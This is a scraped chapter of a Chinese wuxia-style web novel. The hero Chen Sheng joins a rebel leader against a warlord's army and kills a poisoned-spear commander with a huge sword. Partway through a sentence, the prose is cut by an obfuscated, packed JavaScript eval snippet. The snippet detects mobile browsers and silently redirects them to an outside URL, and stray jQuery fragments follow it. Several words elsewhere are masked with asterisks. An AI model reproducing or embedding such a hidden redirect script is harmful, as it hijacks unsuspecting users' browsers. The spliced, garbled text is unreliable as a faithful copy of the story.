第七十五章惊蛰剑出
陈胜望向镇外天际,尘烟渐起,隐约有杀伐之气扑面而来。
钟子龙转身抱拳,语气凝重:“陈兄。藩王的人顷刻便至,我需领军前往镇口迎敌。”
“你与镖局众人留守院中,我已下令部下死守路口,绝不许乱军惊扰镖局分毫。”
陈胜摇头:“不必。”
“乱世之中,守不如战。”
“我随你一同前往镇外。”
钟子龙一怔,随即眼中露出一抹喜色:“陈兄肯出手相助?”
陈胜摇头道:“我不属义军,亦不附藩王。”
“但青石镇是我居所,我守此地,天经地义。”
周伯上前一步道:“少镖头,老奴随你同往!”
陈影眸中战意凛然:“我也去。”
李艳儿虽有几分怯意,却依旧咬着唇,跟在陈胜身后。
钟子龙见状,心中一暖,朗声道:
“好!”
“有陈兄坐镇,我等胜算更增几分!”
一行人走出镖局。
何绅早已吓得面如土色,双腿发软,却被两名义军士兵“请”着一同前往镇口,他心中叫苦不迭,却不敢有半分违抗。
街上百姓听闻藩王大军将至,又见到钟子龙领军出征,好奇心压过恐惧,不少人远远跟在后方看热闹。
人群之中,最惹眼的便是背着巨剑的陈胜。
剑身宽阔,刃如秋霜,剑柄古朴厚重,隐隐有风雷之气暗藏。
正是惊蛰巨剑。
此剑本再聚宝坊,数日前,陈胜特意又去了一趟,以紫金锤交换而得。
惊蛰巨剑重一百八十斤,寻常人连举起都难,此刻被他负于身后,却不显笨重,反有一股隐而不发的磅礴气势。
一行人抵达青石镇外开阔地带。
钟子龙三千五百义军列阵以待,甲刃鲜明,虽人数不及对方,却皆是一路厮杀而来的死士,气势丝毫不弱。
没过多久,远方天际尘烟大作。
黑压压的军队出现,旌旗猎猎,最中央一面大旗高高扬起,上书两个苍劲大字。
北晋。
此军队正是割据北境、拥兵十万的北晋王麾下主力。
上万大军铁甲森森,刀枪如林,重盾林立,弓箭手列于后队,骑兵分列两侧。
何绅站在一旁,眼见此等阵仗,肚子控制不住地发抖,脸上血色尽失。
钟子龙不过三五千人。
对方却是上万精锐。
兵力翻倍,藩王又是正规军,这仗如何能赢?
何绅越想越怕,嘴唇哆嗦着:“完了……全完了……北晋王掌管十万铁甲,威震北境,别说打赢,就算真赢了,又有谁敢杀他的人?我真是倒了八辈子血霉,怎么就撞上这等祸事……进是死,退也是死,进退两难,这是要把我活活逼死啊……”
话音未落。
北晋军队阵中,一员副将身披重甲,手持**,率领百余名铁骑轰然冲出。
他勒马驻足,**直指钟子龙,声如洪钟:
“叛贼钟子龙!”
“你竟敢窥视我家王爷铁矿,狼子野心,真是找死!”
“今日重兵到此,还不速速下马受死,更待何时!”
何绅脸色惊恐道:“这是北晋王的人啊,北晋王身后有十万重兵,谁敢去打这副将?就算打得过,谁又敢杀?”
“我敢杀!”
一声长啸,震彻四野。
钟子龙,手持长剑,策马而出。
话音未落,他已一马当先,冲入对方铁骑之中。
刀光一闪,快如惊雷。
“啊!”
一声惨叫戛然而止。
在这猝不及防之下,那员北晋副将连反抗之机都没有,头颅已然飞起,鲜血狂喷,身躯直直从马上栽落。
敌军阵中,主将目眦欲裂,勃然大怒:
“好胆!”
“竟敢当众斩杀我副将!将士们,随我杀!”
“擒杀叛贼,鸡犬不留!”
“杀!”
上万北晋大军齐声高呼,碾压而来。
“弟兄们,随我杀!”
钟子龙长剑高举,厉声下令。
三千五百义军应声而动。
他们素来擅长奔袭突袭,立刻分成数十股小队,不与敌军正面硬撼,专挑军阵死角穿插挑杀。
北晋军则是传统北地作风,重盾结阵向前推进,弓箭手在后乱箭齐发,防守严密如铁桶,但却依旧被灵活的义军撕开数道口子,死伤不断。
钟子龙策马直冲敌军主将,长剑出鞘。
他如今内力雄浑,又有战场杀伐经验,竟与那主将厮杀得难分高下。
另一边,敌军另一员副将见曹于珠孤身奋战,立刻率领一队骑兵围杀而上。
乱军之中,战火蔓延。
陈胜将李艳儿、陈影、周伯三人护在身后。
可即便他无意参战,依旧被一名一脸刀疤的北晋千夫长盯上。
那千夫长手持大**,策马而来,目光阴鸷地扫过陈胜,厉声喝道:
“尔等是何人?竟敢与叛贼同流合污!”
陈胜道:“我只是青石镇百姓,并非义军,无意与官军为敌。”
“百姓?”
刀疤千夫长哈哈大笑,冷喝道:
“你口中称这群匪军为义军,立场早已分明,还敢狡辩!”
“今日不管你是谁,但凡站在叛军一侧,统统该死!”
陈胜对这北晋王本就无半分好感。
如今北地战乱四起,流民无数,百姓流离失所,苦不堪言。
这位拥兵十万的藩王不思保境安民,反而纵兵劫掠,抢夺民财,侵占州县。
今日出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298141|198614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兵如此迅速,亦非为护青石镇百姓,不过是心疼他的铁矿被夺。
反观钟子龙,所过之处发放救济粮,安抚百姓,秋毫无犯。
两相比较,这藩王就相当拉垮了,可以说是路边一条。
“你说得对。”
陈胜右手伸向背后,握住惊蛰巨剑的剑柄。
“既然多说无益,那就速战速决吧。”
话音落,巨剑出鞘。
一百八十斤的惊蛰巨剑被他单手抽出,一股磅礴气势轰然散开。
刀疤千夫长脸色骤变,心中警铃大作。
能如此轻松拿起这等巨兵之人,力气必定非同小可!
他不敢大意,挥刀便向陈胜劈来。
陈胜脚步轻错,轻易避开。
千夫长身下战马躲避不及,被惊蛰巨剑凌空劈中!
“噗嗤!”
战马惨嚎,血肉横飞。
高头大马竟被一剑劈成两半,当场气绝!
千夫长侥幸躲过一劫,心中又惊又怒,脸上露出怨毒之色。
他立刻吹起口哨,召唤身旁士兵围杀,同时单手紧握**,枪头泛黑,显然淬有剧毒。
此毒乃是他所配制,只要擦破皮肉,便会血肉溃烂,顷刻毙命。
“死吧!”
千夫长挺枪,直刺陈胜心口。
可枪尖尚未触及陈胜衣角,一道狂风骤然席卷而来。
陈胜手持惊蛰巨剑,手腕翻转,剑招威猛如风。
“陈影,看好了。”
“我给你示范,乱风剑大成,该是何等模样。”
陈胜声音平静。
陈影双眸发亮,如同小鸡啄米般点点头。
一百八十斤重剑,在陈胜手中竟如轻剑般灵动飘逸,剑风呼啸,刀锋过处,不少靠近的士兵纷纷惨叫倒地。
数十名士兵竟被一剑之威逼得连连后退,无人敢上前半步。
刀疤千夫长心中掀起惊涛骇浪,心中大惊。
这偏僻小镇,怎么会有如此高手?
上百斤的巨剑,竟被他舞得轻如鸿**,快如疾风!
该死!
怎么会遇上这般高手!
千夫长接连刺出数枪,可每一次枪尖与巨剑相撞,都被巨力震得虎口开裂,双臂酸麻,几乎握不住**。
差距之大,一目了然。
千夫长心中早已没了战意,萌生退意。
他虚晃一招,转身便逃,只想远离这个煞星。
可他刚逃出数步。
陈胜手腕猛地一甩。
一百八十斤的惊蛰巨剑脱手而出,在空中高速旋转,如同一道黑色流星,又似一枚巨大螺旋飞镖,带着破空尖啸,直追而去!
“噗!”
巨剑穿透千夫长后背,竟将他生生钉在地面之上。
鲜血喷涌而出,刀疤千夫长身体抽搐数下,便再无动静。